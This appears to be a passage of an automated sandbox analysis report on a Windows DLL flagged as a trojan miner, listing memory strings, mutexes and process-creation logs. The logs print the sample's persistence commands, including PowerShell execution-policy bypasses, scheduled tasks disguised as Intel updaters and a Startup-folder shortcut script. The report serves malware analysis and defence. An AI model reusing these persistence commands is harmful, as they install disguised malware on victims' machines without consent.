Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy#
Source: powershell.exe, 00000011.00000002.2224474015.000001E4570C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000011.00000002.2224474015.000001E457108000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2236301904.000002A2D5467000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2236301904.000002A2D549D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2253402475.00000251222D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000001A.00000002.2253402475.0000025122503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/fsharp
Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/runtime#x
Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/icedland
Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/icedland/icedc
Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/secana/PeNet
Source: powershell.exe, 0000001A.00000002.2253402475.0000025122F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000001A.00000002.2253402475.0000025123BC6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2336441288.000002513234D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000001A.00000002.2253402475.0000025123A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000001A.00000002.2253402475.0000025123A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

System Summary

Windows shortcut file (LNK) contains suspicious command line arguments

Source: IntelManagementEngine.lnk.26.dr

LNK file: -NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll,DllMainerUserOnly

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FF8476F2478	17_2_00007FF8476F2478
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FF847702478	21_2_00007FF847702478
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FF847722478	26_2_00007FF847722478
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FF8477F078D	26_2_00007FF8477F078D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FF8477F364A	26_2_00007FF8477F364A

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4112 -s 588

Source: uEhN67huiV.dll

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: classification engine

Classification label: mal84.troj.evad.winDLL@81/39@0/5

Source: C:\Windows\System32\rundll32.exe

File created: C:\Program Files\IntelProfileUpdater

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\user\Desktop\error.txt

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5320:120:WilError_03
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\logger-writer-locker
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4112
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1856:120:WilError_03
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\data_loader_inner_block_1
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7648
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\3042d879-1569-42d7-8e42-bfff764d4f91

Jump to behavior

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "powershell.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "powershell.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "powershell.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "powershell.exe")

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainer

Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\uEhN67huiV.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainer
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",#1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4112 -s 588
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstall
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstallUserOnly
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainer
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstall
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstallUserOnly
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",Dummy
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DotNetRuntimeDebugHeader
